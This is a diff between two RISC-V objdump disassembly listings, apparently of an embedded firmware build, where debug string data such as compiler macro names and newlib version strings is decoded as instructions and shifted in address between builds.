-    9f6a:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    9f70:	5000                	lw	s0,32(s0)
-    9f72:	435f4d57          	0x435f4d57
-    9f76:	4746                	lw	a4,80(sp)
-    9f78:	435f 504d 4331      	0x4331504d435f
-    9f7e:	4e45                	li	t3,17
-    9f80:	4554                	lw	a3,12(a0)
-    9f82:	2052                	fld	ft0,272(sp)
-    9f84:	7830                	flw	fa2,112(s0)
-    9f86:	3030                	fld	fa2,96(s0)
-    9f88:	3230                	fld	fa2,96(a2)
-    9f8a:	3030                	fld	fa2,96(s0)
-    9f8c:	3030                	fld	fa2,96(s0)
-    9f8e:	5000                	lw	s0,32(s0)
-    9f90:	535f4d57          	0x535f4d57
-    9f94:	3020                	fld	fs0,96(s0)
-    9f96:	3178                	fld	fa4,224(a0)
-    9f98:	0030                	addi	a2,sp,8
-    9f9a:	5f46                	lw	t5,112(sp)
-    9f9c:	4c54                	lw	a3,28(s0)
-    9f9e:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    9fa2:	0032                	c.slli	zero,0xc
-    9fa4:	415f 4654 4c49      	0x4c494654415f
-    9faa:	5f45                	li	t5,-15
-    9fac:	52554f53          	0x52554f53
-    9fb0:	5f004543          	fmadd.q	fa0,ft0,fa6,fa1,rmm
-    9fb4:	415f4353          	0x415f4353
-    9fb8:	5644                	lw	s1,44(a2)
-    9fba:	5349                	li	t1,-14
-    9fbc:	5f59524f          	fnmadd.q	ft4,fs2,fs5,fa1,unknown
-    9fc0:	4e49                	li	t3,18
-    9fc2:	4f46                	lw	t5,80(sp)
-    9fc4:	3520                	fld	fs0,104(a0)
-    9fc6:	0034                	addi	a3,sp,8
-    9fc8:	4d44                	lw	s1,28(a0)
-    9fca:	5f41                	li	t5,-16
-    9fcc:	4552                	lw	a0,20(sp)
-    9fce:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
-    9fd2:	7366                	flw	ft6,120(sp)
-    9fd4:	7465                	lui	s0,0xffff9
-    9fd6:	2029                	jal	9fe0 <__stack_size+0x97e0>
-    9fd8:	525f 4745 3233      	0x32334745525f
-    9fde:	4428                	lw	a0,72(s0)
-    9fe0:	414d                	li	sp,19
-    9fe2:	425f 5341 2c45      	0x2c455341425f
-    9fe8:	6f20                	flw	fs0,88(a4)
-    9fea:	6666                	flw	fa2,88(sp)
-    9fec:	29746573          	csrrsi	a0,0x297,8
-    9ff0:	5f00                	lw	s0,56(a4)
-    9ff2:	765f 6c6f 7461      	0x74616c6f765f
-    9ff8:	6c69                	lui	s8,0x1a
-    9ffa:	2065                	jal	a0a2 <__stack_size+0x98a2>
-    9ffc:	6f76                	flw	ft10,92(sp)
-    9ffe:	616c                	flw	fa1,68(a0)
-    a000:	6974                	flw	fa3,84(a0)
-    a002:	656c                	flw	fa1,76(a0)
-    a004:	4900                	lw	s0,16(a0)
-    a006:	544e                	lw	s0,240(sp)
-    a008:	465f 5341 3354      	0x33545341465f
-    a00e:	5f32                	lw	t5,44(sp)
-    a010:	414d                	li	sp,19
-    a012:	2058                	fld	fa4,128(s0)
-    a014:	5f5f 4e49 5f54      	0x5f544e495f5f
-    a01a:	4146                	lw	sp,80(sp)
-    a01c:	32335453          	0x32335453
-    a020:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    a026:	5500                	lw	s0,40(a0)
-    a028:	4e49                	li	t3,18
-    a02a:	4d54                	lw	a3,28(a0)
-    a02c:	5841                	li	a6,-16
-    a02e:	4d5f 5841 5f20      	0x5f2058414d5f
-    a034:	555f 4e49 4d54      	0x4d544e49555f
-    a03a:	5841                	li	a6,-16
-    a03c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    a042:	4900                	lw	s0,16(a0)
-    a044:	544e                	lw	s0,240(sp)
-    a046:	465f 5341 3654      	0x36545341465f
-    a04c:	5f34                	lw	a3,120(a4)
-    a04e:	494d                	li	s2,19
-    a050:	204e                	fld	ft0,208(sp)
-    a052:	2d28                	fld	fa0,88(a0)
-    a054:	4e49                	li	t3,18
-    a056:	5f54                	lw	a3,60(a4)
-    a058:	4146                	lw	sp,80(sp)
-    a05a:	34365453          	0x34365453
-    a05e:	4d5f 5841 2d20      	0x2d2058414d5f
-    a064:	3120                	fld	fs0,96(a0)
-    a066:	0029                	c.nop	10
-    a068:	5f646d63          	bltu	s0,s6,a662 <__stack_size+0x9e62>
-    a06c:	6168                	flw	fa0,68(a0)
-    a06e:	646e                	flw	fs0,216(sp)
-    a070:	656c                	flw	fa1,76(a0)
-    a072:	0072                	c.slli	zero,0x1c
-    a074:	5f5f 4e49 5f54      	0x5f544e495f5f
-    a07a:	454c                	lw	a1,12(a0)
-    a07c:	5341                	li	t1,-16
-    a07e:	3354                	fld	fa3,160(a4)
-    a080:	5f32                	lw	t5,44(sp)
-    a082:	5954                	lw	a3,52(a0)
-    a084:	4550                	lw	a2,12(a0)
-    a086:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
-    a08c:	6e692067          	0x6e692067
-    a090:	0074                	addi	a3,sp,12
-    a092:	5f5f 4c46 3354      	0x33544c465f5f
-    a098:	5f32                	lw	t5,44(sp)
-    a09a:	4f4e                	lw	t5,208(sp)
-    a09c:	4d52                	lw	s10,20(sp)
-    a09e:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    a0a4:	3320                	fld	fs0,96(a4)
-    a0a6:	342e                	fld	fs0,232(sp)
-    a0a8:	3230                	fld	fa2,96(a2)
-    a0aa:	3238                	fld	fa4,96(a2)
-    a0ac:	36363433          	0x36363433
-    a0b0:	32353833          	0x32353833
-    a0b4:	3838                	fld	fa4,112(s0)
-    a0b6:	3935                	jal	9cf2 <__stack_size+0x94f2>
-    a0b8:	3138                	fld	fa4,96(a0)
-    a0ba:	3731                	jal	9fc6 <__stack_size+0x97c6>
-    a0bc:	3430                	fld	fa2,104(s0)
-    a0be:	3831                	jal	98da <__stack_size+0x90da>
-    a0c0:	34383433          	0x34383433
-    a0c4:	3135                	jal	9cf0 <__stack_size+0x94f0>
-    a0c6:	3936                	fld	fs2,360(sp)
-    a0c8:	3532                	fld	fa0,296(sp)
-    a0ca:	2b65                	jal	a682 <__stack_size+0x9e82>
-    a0cc:	33463833          	0x33463833
-    a0d0:	0032                	c.slli	zero,0xc
-    a0d2:	5f5f 5441 4d4f      	0x4d4f54415f5f
-    a0d8:	4349                	li	t1,18
-    a0da:	535f 5145 435f      	0x435f5145535f
-    a0e0:	35205453          	0x35205453
-    a0e4:	5f00                	lw	s0,56(a4)
-    a0e6:	555f 4e49 3354      	0x33544e49555f
-    a0ec:	5f32                	lw	t5,44(sp)
-    a0ee:	414d                	li	sp,19
-    a0f0:	5f58                	lw	a4,60(a4)
-    a0f2:	205f 7830 6666      	0x66667830205f
-    a0f8:	6666                	flw	fa2,88(sp)
-    a0fa:	6666                	flw	fa2,88(sp)
-    a0fc:	6666                	flw	fa2,88(sp)
-    a0fe:	4c55                	li	s8,21
-    a100:	4700                	lw	s0,8(a4)
-    a102:	4950                	lw	a2,20(a0)
-    a104:	49525f4f          	fnmadd.s	ft10,ft4,fs5,fs1,unknown
-    a108:	495f4553          	0x495f4553
-    a10c:	2045                	jal	a1ac <__stack_size+0x99ac>
-    a10e:	7830                	flw	fa2,112(s0)
-    a110:	3831                	jal	992c <__stack_size+0x912c>
-    a112:	5f00                	lw	s0,56(a4)
-    a114:	465f 544c 3436      	0x3436544c465f
-    a11a:	5f58                	lw	a4,60(a4)
-    a11c:	4544                	lw	s1,12(a0)
-    a11e:	4f4e                	lw	t5,208(sp)
-    a120:	4d52                	lw	s10,20(sp)
-    a122:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    a128:	3620                	fld	fs0,104(a2)
-    a12a:	342e                	fld	fs0,232(sp)
-    a12c:	37313537          	lui	a0,0x37313
-    a130:	3135                	jal	9d5c <__stack_size+0x955c>
-    a132:	3931                	jal	9d4e <__stack_size+0x954e>
-    a134:	3334                	fld	fa3,96(a4)
-    a136:	3038                	fld	fa4,96(s0)
-    a138:	3532                	fld	fa0,296(sp)
-    a13a:	3131                	jal	9d46 <__stack_size+0x9546>
-    a13c:	3930                	fld	fa2,112(a0)
-    a13e:	3432                	fld	fs0,296(sp)
-    a140:	3334                	fld	fa3,96(a4)
-    a142:	3938                	fld	fa4,112(a0)
-    a144:	3835                	jal	9980 <__stack_size+0x9180>
-    a146:	3232                	fld	ft4,296(sp)
-    a148:	36343637          	lui	a2,0x36343
-    a14c:	3535                	jal	9f78 <__stack_size+0x9778>
-    a14e:	2d65                	jal	a806 <__stack_size+0xa006>
-    a150:	3934                	fld	fa3,112(a0)
-    a152:	3636                	fld	fa2,360(sp)
-    a154:	3646                	fld	fa2,112(sp)
-    a156:	7834                	flw	fa3,112(s0)
-    a158:	4600                	lw	s0,8(a2)
-    a15a:	525f 4553 4c54      	0x4c544553525f
-    a160:	3131204b          	fnmsub.s	ft0,ft2,fs3,ft6,rdn
-    a164:	5f00                	lw	s0,56(a4)
-    a166:	65647473          	csrrci	s0,0x656,8
-    a16a:	7272                	flw	ft4,60(sp)
-    a16c:	725f 7828 2029      	0x20297828725f
-    a172:	2828                	fld	fa0,80(s0)
-    a174:	2978                	fld	fa4,208(a0)
-    a176:	3e2d                	jal	9cb0 <__stack_size+0x94b0>
-    a178:	735f 6474 7265      	0x72656474735f
-    a17e:	2972                	fld	fs2,280(sp)
-    a180:	5f00                	lw	s0,56(a4)
-    a182:	465f4353          	0x465f4353
-    a186:	434e5953          	0x434e5953
-    a18a:	3220                	fld	fs0,96(a2)
-    a18c:	0032                	c.slli	zero,0xc
-    a18e:	4e5f 5745 494c      	0x494c57454e5f
-    a194:	5f42                	lw	t5,48(sp)
-    a196:	49445453          	0x49445453
-    a19a:	20485f4f          	fnmadd.s	ft10,fa6,ft4,ft4,unknown
-    a19e:	5f00                	lw	s0,56(a4)
-    a1a0:	475f 554e 5f43      	0x5f43554e475f
-    a1a6:	4150                	lw	a2,4(a0)
-    a1a8:	4354                	lw	a3,4(a4)
-    a1aa:	4c48                	lw	a0,28(s0)
-    a1ac:	5645                	li	a2,-15
-    a1ae:	4c45                	li	s8,17
-    a1b0:	5f5f 3020 5f00      	0x5f0030205f5f
-    a1b6:	735f 6567 6374      	0x63746567735f
-    a1bc:	725f 5f28 705f      	0x705f5f28725f
-    a1c2:	7274                	flw	fa3,100(a2)
-    a1c4:	5f2c                	lw	a1,120(a4)
-    a1c6:	705f 2029 5f5f      	0x5f5f2029705f
-    a1cc:	74656773          	csrrsi	a4,0x746,10
-    a1d0:	61725f63          	bge	tp,s7,a7ee <__stack_size+0x9fee>
-    a1d4:	28725f77          	0x28725f77
+    9de0:	3154                	fld	fa3,160(a0)
+    9de2:	5f36                	lw	t5,108(sp)
+    9de4:	414d                	li	sp,19
+    9de6:	5f58                	lw	a4,60(a4)
+    9de8:	005f 5f5f 4c46      	0x4c465f5f005f
+    9dee:	5f54                	lw	a3,60(a4)
+    9df0:	494d                	li	s2,19
+    9df2:	5f4e                	lw	t5,240(sp)
+    9df4:	205f 2e31 3731      	0x37312e31205f
+    9dfa:	3435                	jal	9826 <__stack_size+0x9026>
+    9dfc:	3439                	jal	980a <__stack_size+0x900a>
+    9dfe:	38303533          	0x38303533
+    9e02:	3232                	fld	ft4,296(sp)
+    9e04:	3832                	fld	fa6,296(sp)
+    9e06:	37303537          	lui	a0,0x37303
+    9e0a:	3639                	jal	9918 <__stack_size+0x9118>
+    9e0c:	3738                	fld	fa4,104(a4)
+    9e0e:	33353633          	0x33353633
+    9e12:	32323237          	lui	tp,0x32323
+    9e16:	3432                	fld	fs0,296(sp)
+    9e18:	3635                	jal	9944 <__stack_size+0x9144>
+    9e1a:	6538                	flw	fa4,72(a0)
+    9e1c:	332d                	jal	9b46 <__stack_size+0x9346>
+    9e1e:	4638                	lw	a4,72(a2)
+    9e20:	5f00                	lw	s0,56(a4)
+    9e22:	4c5f4353          	0x4c5f4353
+    9e26:	5645                	li	a2,-15
+    9e28:	4c45                	li	s8,17
+    9e2a:	5f31                	li	t5,-20
+    9e2c:	4349                	li	t1,18
+    9e2e:	4341                	li	t1,16
+    9e30:	4548                	lw	a0,12(a0)
+    9e32:	415f 5353 434f      	0x434f5353415f
+    9e38:	3120                	fld	fs0,96(a0)
+    9e3a:	3632                	fld	fa2,296(sp)
+    9e3c:	5f00                	lw	s0,56(a4)
+    9e3e:	635f 6f6c 6b63      	0x6b636f6c635f
+    9e44:	6469                	lui	s0,0x1a
+    9e46:	745f 645f 6665      	0x6665645f745f
+    9e4c:	6e69                	lui	t3,0x1a
+    9e4e:	6465                	lui	s0,0x19
+    9e50:	0020                	addi	s0,sp,8
+    9e52:	6d49                	lui	s10,0x12
+    9e54:	6c70                	flw	fa2,92(s0)
+    9e56:	6369                	lui	t1,0x1a
+    9e58:	7469                	lui	s0,0xffffa
+    9e5a:	7246                	flw	ft4,112(sp)
+    9e5c:	6565                	lui	a0,0x19
+    9e5e:	5f00                	lw	s0,56(a4)
+    9e60:	454e                	lw	a0,208(sp)
+    9e62:	42494c57          	0x42494c57
+    9e66:	565f 5245 4953      	0x49535245565f
+    9e6c:	22204e4f          	fnmadd.d	ft8,ft0,ft2,ft4,rmm
+    9e70:	2e322e33          	0x2e322e33
+    9e74:	2230                	fld	fa2,64(a2)
+    9e76:	5f00                	lw	s0,56(a4)
+    9e78:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    9e7e:	414d                	li	sp,19
+    9e80:	5f58                	lw	a4,60(a4)
+    9e82:	5845                	li	a6,-15
+    9e84:	5f50                	lw	a2,60(a4)
+    9e86:	205f 3631 3833      	0x38333631205f
+    9e8c:	0034                	addi	a3,sp,8
+    9e8e:	69647473          	csrrci	s0,0x696,8
+    9e92:	206e                	fld	ft0,216(sp)
+    9e94:	5f28                	lw	a0,120(a4)
+    9e96:	4552                	lw	a0,20(sp)
+    9e98:	4e45                	li	t3,17
+    9e9a:	2d54                	fld	fa3,152(a0)
+    9e9c:	5f3e                	lw	t5,236(sp)
+    9e9e:	69647473          	csrrci	s0,0x696,8
+    9ea2:	296e                	fld	fs2,216(sp)
+    9ea4:	5300                	lw	s0,32(a4)
+    9ea6:	495f 4752 5052      	0x50524752495f
+    9eac:	3020                	fld	fs0,96(s0)
+    9eae:	3030                	fld	fa2,96(s0)
+    9eb0:	3030                	fld	fa2,96(s0)
+    9eb2:	3034                	fld	fa3,96(s0)
+    9eb4:	6d00                	flw	fs0,24(a0)
+    9eb6:	7674                	flw	fa3,108(a2)
+    9eb8:	6c61                	lui	s8,0x18
+    9eba:	4f00                	lw	s0,24(a4)
+    9ebc:	575f 4f52 4c4e      	0x4c4e4f52575f
+    9ec2:	2059                	jal	9f48 <__stack_size+0x9748>
+    9ec4:	0031                	c.nop	12
+    9ec6:	5f46                	lw	t5,112(sp)
+    9ec8:	5352                	lw	t1,52(sp)
+    9eca:	5445                	li	s0,-15
+    9ecc:	4b4c                	lw	a1,20(a4)
+    9ece:	33312057          	0x33312057
+    9ed2:	5f00                	lw	s0,56(a4)
+    9ed4:	414d                	li	sp,19
+    9ed6:	4e494843          	fmadd.q	fa6,fs2,ft4,fs1,rmm
+    9eda:	5f45                	li	t5,-15
+    9edc:	545f 5059 5345      	0x53455059545f
+    9ee2:	485f 0020 5f5f      	0x5f5f0020485f
+    9ee8:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
+    9eec:	4d5f 4e49 524f      	0x524f4e494d5f
+    9ef2:	5f5f 3120 5f00      	0x5f0031205f5f
+    9ef8:	535f 4454 5f43      	0x5f434454535f
+    9efe:	5455                	li	s0,-11
+    9f00:	5f46                	lw	t5,112(sp)
+    9f02:	3631                	jal	9a0e <__stack_size+0x920e>
+    9f04:	5f5f 3120 5300      	0x530031205f5f
+    9f0a:	495f 4346 5248      	0x52484346495f
+    9f10:	5f20                	lw	s0,120(a4)
+    9f12:	4649                	li	a2,18
+    9f14:	00524843          	fmadd.s	fa6,ft4,ft5,ft0,rmm
+    9f18:	535f 5355 4345      	0x43455355535f
+    9f1e:	53444e4f          	fnmadd.d	ft8,fs0,fs4,fa0,rmm
+    9f22:	545f 445f 4345      	0x4345445f545f
+    9f28:	414c                	lw	a1,4(a0)
+    9f2a:	4552                	lw	a0,20(sp)
+    9f2c:	2044                	fld	fs1,128(s0)
+    9f2e:	4f00                	lw	s0,24(a4)
+    9f30:	4550                	lw	a2,12(a0)
+    9f32:	5f4e                	lw	t5,240(sp)
+    9f34:	414d                	li	sp,19
+    9f36:	2058                	fld	fa4,128(s0)
+    9f38:	3436                	fld	fs0,360(sp)
+    9f3a:	5f00                	lw	s0,56(a4)
+    9f3c:	555f 4e49 5f54      	0x5f544e49555f
+    9f42:	454c                	lw	a1,12(a0)
+    9f44:	5341                	li	t1,-16
+    9f46:	3154                	fld	fa3,160(a0)
+    9f48:	5f36                	lw	t5,108(sp)
+    9f4a:	5954                	lw	a3,52(a0)
+    9f4c:	4550                	lw	a2,12(a0)
+    9f4e:	5f5f 7320 6f68      	0x6f6873205f5f
+    9f54:	7472                	flw	fs0,60(sp)
+    9f56:	7520                	flw	fs0,104(a0)
+    9f58:	736e                	flw	ft6,248(sp)
+    9f5a:	6769                	lui	a4,0x1a
+    9f5c:	656e                	flw	fa0,216(sp)
+    9f5e:	2064                	fld	fs1,192(s0)
+    9f60:	6e69                	lui	t3,0x1a
+    9f62:	0074                	addi	a3,sp,12
+    9f64:	535f 5f43 454c      	0x454c5f43535f
+    9f6a:	4556                	lw	a0,84(sp)
+    9f6c:	334c                	fld	fa1,160(a4)
+    9f6e:	435f 4341 4548      	0x45484341435f
+    9f74:	4c5f 4e49 5345      	0x53454e494c5f
+    9f7a:	5a49                	li	s4,-14
+    9f7c:	2045                	jal	a01c <__stack_size+0x981c>
+    9f7e:	3331                	jal	9c8a <__stack_size+0x948a>
+    9f80:	0036                	c.slli	zero,0xd
+    9f82:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    9f86:	434d                	li	t1,19
+    9f88:	5541                	li	a0,-16
+    9f8a:	35204553          	0x35204553
+    9f8e:	4900                	lw	s0,16(a0)
+    9f90:	544e                	lw	s0,240(sp)
+    9f92:	414d                	li	sp,19
+    9f94:	5f58                	lw	a4,60(a4)
+    9f96:	414d                	li	sp,19
+    9f98:	2058                	fld	fa4,128(s0)
+    9f9a:	5f5f 4e49 4d54      	0x4d544e495f5f
+    9fa0:	5841                	li	a6,-16
+    9fa2:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    9fa8:	5000                	lw	s0,32(s0)
+    9faa:	435f4d57          	0x435f4d57
+    9fae:	4746                	lw	a4,80(sp)
+    9fb0:	435f 504d 4331      	0x4331504d435f
+    9fb6:	4e45                	li	t3,17
+    9fb8:	4554                	lw	a3,12(a0)
+    9fba:	2052                	fld	ft0,272(sp)
+    9fbc:	7830                	flw	fa2,112(s0)
+    9fbe:	3030                	fld	fa2,96(s0)
+    9fc0:	3230                	fld	fa2,96(a2)
+    9fc2:	3030                	fld	fa2,96(s0)
+    9fc4:	3030                	fld	fa2,96(s0)
+    9fc6:	5000                	lw	s0,32(s0)
+    9fc8:	535f4d57          	0x535f4d57
+    9fcc:	3020                	fld	fs0,96(s0)
+    9fce:	3178                	fld	fa4,224(a0)
+    9fd0:	0030                	addi	a2,sp,8
+    9fd2:	5f46                	lw	t5,112(sp)
+    9fd4:	4c54                	lw	a3,28(s0)
+    9fd6:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    9fda:	0032                	c.slli	zero,0xc
+    9fdc:	415f 4654 4c49      	0x4c494654415f
+    9fe2:	5f45                	li	t5,-15
+    9fe4:	52554f53          	0x52554f53
+    9fe8:	5f004543          	fmadd.q	fa0,ft0,fa6,fa1,rmm
+    9fec:	415f4353          	0x415f4353
+    9ff0:	5644                	lw	s1,44(a2)
+    9ff2:	5349                	li	t1,-14
+    9ff4:	5f59524f          	fnmadd.q	ft4,fs2,fs5,fa1,unknown
+    9ff8:	4e49                	li	t3,18
+    9ffa:	4f46                	lw	t5,80(sp)
+    9ffc:	3520                	fld	fs0,104(a0)
+    9ffe:	0034                	addi	a3,sp,8
+    a000:	4d44                	lw	s1,28(a0)
+    a002:	5f41                	li	t5,-16
+    a004:	4552                	lw	a0,20(sp)
+    a006:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
+    a00a:	7366                	flw	ft6,120(sp)
+    a00c:	7465                	lui	s0,0xffff9
+    a00e:	2029                	jal	a018 <__stack_size+0x9818>
+    a010:	525f 4745 3233      	0x32334745525f
+    a016:	4428                	lw	a0,72(s0)
+    a018:	414d                	li	sp,19
+    a01a:	425f 5341 2c45      	0x2c455341425f
+    a020:	6f20                	flw	fs0,88(a4)
+    a022:	6666                	flw	fa2,88(sp)
+    a024:	29746573          	csrrsi	a0,0x297,8
+    a028:	5f00                	lw	s0,56(a4)
+    a02a:	765f 6c6f 7461      	0x74616c6f765f
+    a030:	6c69                	lui	s8,0x1a
+    a032:	2065                	jal	a0da <__stack_size+0x98da>
+    a034:	6f76                	flw	ft10,92(sp)
+    a036:	616c                	flw	fa1,68(a0)
+    a038:	6974                	flw	fa3,84(a0)
+    a03a:	656c                	flw	fa1,76(a0)
+    a03c:	4900                	lw	s0,16(a0)
+    a03e:	544e                	lw	s0,240(sp)
+    a040:	465f 5341 3354      	0x33545341465f
+    a046:	5f32                	lw	t5,44(sp)
+    a048:	414d                	li	sp,19
+    a04a:	2058                	fld	fa4,128(s0)
+    a04c:	5f5f 4e49 5f54      	0x5f544e495f5f
+    a052:	4146                	lw	sp,80(sp)
+    a054:	32335453          	0x32335453
+    a058:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    a05e:	5500                	lw	s0,40(a0)
+    a060:	4e49                	li	t3,18
+    a062:	4d54                	lw	a3,28(a0)
+    a064:	5841                	li	a6,-16
+    a066:	4d5f 5841 5f20      	0x5f2058414d5f
+    a06c:	555f 4e49 4d54      	0x4d544e49555f
+    a072:	5841                	li	a6,-16
+    a074:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    a07a:	4900                	lw	s0,16(a0)
+    a07c:	544e                	lw	s0,240(sp)
+    a07e:	465f 5341 3654      	0x36545341465f
+    a084:	5f34                	lw	a3,120(a4)
+    a086:	494d                	li	s2,19
+    a088:	204e                	fld	ft0,208(sp)
+    a08a:	2d28                	fld	fa0,88(a0)
+    a08c:	4e49                	li	t3,18
+    a08e:	5f54                	lw	a3,60(a4)
+    a090:	4146                	lw	sp,80(sp)
+    a092:	34365453          	0x34365453
+    a096:	4d5f 5841 2d20      	0x2d2058414d5f
+    a09c:	3120                	fld	fs0,96(a0)
+    a09e:	0029                	c.nop	10
+    a0a0:	5f5f 4e49 5f54      	0x5f544e495f5f
+    a0a6:	454c                	lw	a1,12(a0)
+    a0a8:	5341                	li	t1,-16
+    a0aa:	3354                	fld	fa3,160(a4)
+    a0ac:	5f32                	lw	t5,44(sp)
+    a0ae:	5954                	lw	a3,52(a0)
+    a0b0:	4550                	lw	a2,12(a0)
+    a0b2:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
+    a0b8:	6e692067          	0x6e692067
+    a0bc:	0074                	addi	a3,sp,12
+    a0be:	5f5f 4c46 3354      	0x33544c465f5f
+    a0c4:	5f32                	lw	t5,44(sp)
+    a0c6:	4f4e                	lw	t5,208(sp)
+    a0c8:	4d52                	lw	s10,20(sp)
+    a0ca:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    a0d0:	3320                	fld	fs0,96(a4)
+    a0d2:	342e                	fld	fs0,232(sp)
+    a0d4:	3230                	fld	fa2,96(a2)
+    a0d6:	3238                	fld	fa4,96(a2)
+    a0d8:	36363433          	0x36363433
+    a0dc:	32353833          	0x32353833
+    a0e0:	3838                	fld	fa4,112(s0)
+    a0e2:	3935                	jal	9d1e <__stack_size+0x951e>
+    a0e4:	3138                	fld	fa4,96(a0)
+    a0e6:	3731                	jal	9ff2 <__stack_size+0x97f2>
+    a0e8:	3430                	fld	fa2,104(s0)
+    a0ea:	3831                	jal	9906 <__stack_size+0x9106>
+    a0ec:	34383433          	0x34383433
+    a0f0:	3135                	jal	9d1c <__stack_size+0x951c>
+    a0f2:	3936                	fld	fs2,360(sp)
+    a0f4:	3532                	fld	fa0,296(sp)
+    a0f6:	2b65                	jal	a6ae <__stack_size+0x9eae>
+    a0f8:	33463833          	0x33463833
+    a0fc:	0032                	c.slli	zero,0xc
+    a0fe:	5f5f 4955 544e      	0x544e49555f5f
+    a104:	4d5f3233          	0x4d5f3233
+    a108:	5841                	li	a6,-16
+    a10a:	5f5f 3020 6678      	0x667830205f5f
+    a110:	6666                	flw	fa2,88(sp)
+    a112:	6666                	flw	fa2,88(sp)
+    a114:	6666                	flw	fa2,88(sp)
+    a116:	5566                	lw	a0,120(sp)
+    a118:	004c                	addi	a1,sp,4
+    a11a:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    a11e:	525f 5349 5f45      	0x5f455349525f
+    a124:	4549                	li	a0,18
+    a126:	3020                	fld	fs0,96(s0)
+    a128:	3178                	fld	fa4,224(a0)
+    a12a:	0038                	addi	a4,sp,8
+    a12c:	5f5f 4c46 3654      	0x36544c465f5f
+    a132:	5834                	lw	a3,112(s0)
+    a134:	445f 4e45 524f      	0x524f4e45445f
+    a13a:	5f4d                	li	t5,-13
+    a13c:	494d                	li	s2,19
+    a13e:	5f4e                	lw	t5,240(sp)
+    a140:	205f 2e36 3734      	0x37342e36205f
+    a146:	3135                	jal	9d72 <__stack_size+0x9572>
+    a148:	31313537          	lui	a0,0x31313
+    a14c:	3439                	jal	9b5a <__stack_size+0x935a>
+    a14e:	32303833          	0x32303833
+    a152:	3135                	jal	9d7e <__stack_size+0x957e>
+    a154:	3031                	jal	9960 <__stack_size+0x9160>
+    a156:	3239                	jal	9a64 <__stack_size+0x9264>
+    a158:	3434                	fld	fa3,104(s0)
+    a15a:	35393833          	0x35393833
+    a15e:	3238                	fld	fa4,96(a2)
+    a160:	3732                	fld	fa4,296(sp)
+    a162:	3436                	fld	fs0,360(sp)
+    a164:	3536                	fld	fa0,360(sp)
+    a166:	6535                	lui	a0,0xd
+    a168:	342d                	jal	9b92 <__stack_size+0x9392>
+    a16a:	3639                	jal	9c78 <__stack_size+0x9478>
+    a16c:	4636                	lw	a2,76(sp)
+    a16e:	3436                	fld	fs0,360(sp)
+    a170:	0078                	addi	a4,sp,12
+    a172:	5f46                	lw	t5,112(sp)
+    a174:	5352                	lw	t1,52(sp)
+    a176:	5445                	li	s0,-15
+    a178:	4b4c                	lw	a1,20(a4)
+    a17a:	3120                	fld	fs0,96(a0)
+    a17c:	0031                	c.nop	12
+    a17e:	735f 6474 7265      	0x72656474735f
+    a184:	5f72                	lw	t5,60(sp)
+    a186:	2872                	fld	fa6,280(sp)
+    a188:	2978                	fld	fa4,208(a0)
+    a18a:	2820                	fld	fs0,80(s0)
+    a18c:	7828                	flw	fa0,112(s0)
+    a18e:	2d29                	jal	a7a8 <__stack_size+0x9fa8>
+    a190:	5f3e                	lw	t5,236(sp)
+    a192:	65647473          	csrrci	s0,0x656,8
+    a196:	7272                	flw	ft4,60(sp)
+    a198:	0029                	c.nop	10
+    a19a:	535f 5f43 5346      	0x53465f43535f
+    a1a0:	4e59                	li	t3,22
+    a1a2:	32322043          	fmadd.d	ft0,ft4,ft3,ft6,rdn
+    a1a6:	5f00                	lw	s0,56(a4)
+    a1a8:	454e                	lw	a0,208(sp)
+    a1aa:	42494c57          	0x42494c57
+    a1ae:	535f 4454 4f49      	0x4f494454535f
+    a1b4:	485f 0020 5f5f      	0x5f5f0020485f
+    a1ba:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
+    a1be:	505f 5441 4843      	0x48435441505f
+    a1c4:	454c                	lw	a1,12(a0)
+    a1c6:	4556                	lw	a0,84(sp)
+    a1c8:	5f4c                	lw	a1,60(a4)
+    a1ca:	205f 0030 5f5f      	0x5f5f0030205f
+    a1d0:	74656773          	csrrsi	a4,0x746,10
+    a1d4:	28725f63          	bge	tp,t2,a472 <__stack_size+0x9c72>
     a1d8:	5f5f 7470 2c72      	0x2c7274705f5f
-    a1de:	5f20                	lw	s0,120(a4)
-    a1e0:	705f 0029 7872      	0x78720029705f
-    a1e6:	6966                	flw	fs2,88(sp)
-    a1e8:	6f66                	flw	ft10,88(sp)
-    a1ea:	7300                	flw	fs0,32(a4)
-    a1ec:	5f74                	lw	a3,124(a4)
-    a1ee:	6d697463          	bgeu	s2,s6,a8b6 <__stack_size+0xa0b6>
-    a1f2:	7300                	flw	fs0,32(a4)
-    a1f4:	5f74                	lw	a3,124(a4)
-    a1f6:	6c62                	flw	fs8,24(sp)
-    a1f8:	7a69736b          	0x7a69736b
-    a1fc:	0065                	c.nop	25
-    a1fe:	625f7473          	csrrci	s0,0x625,30
-    a202:	6f6c                	flw	fa1,92(a4)
-    a204:	00736b63          	bltu	t1,t2,a21a <__stack_size+0x9a1a>
-    a208:	5f5f 6967 5f64      	0x5f6469675f5f
-    a20e:	0074                	addi	a3,sp,12
-    a210:	6d5f7473          	csrrci	s0,0x6d5,30
-    a214:	6974                	flw	fa3,84(a0)
-    a216:	006d                	c.nop	27
-    a218:	6974                	flw	fa3,84(a0)
-    a21a:	656d                	lui	a0,0x1b
-    a21c:	745f 5f00 7277      	0x72775f00745f
-    a222:	7469                	lui	s0,0xffffa
-    a224:	0065                	c.nop	25
-    a226:	685f 6165 5f70      	0x5f706165685f
-    a22c:	6e65                	lui	t3,0x19
-    a22e:	0064                	addi	s1,sp,12
-    a230:	5f5f 6564 5f76      	0x5f7665645f5f
-    a236:	0074                	addi	a3,sp,12
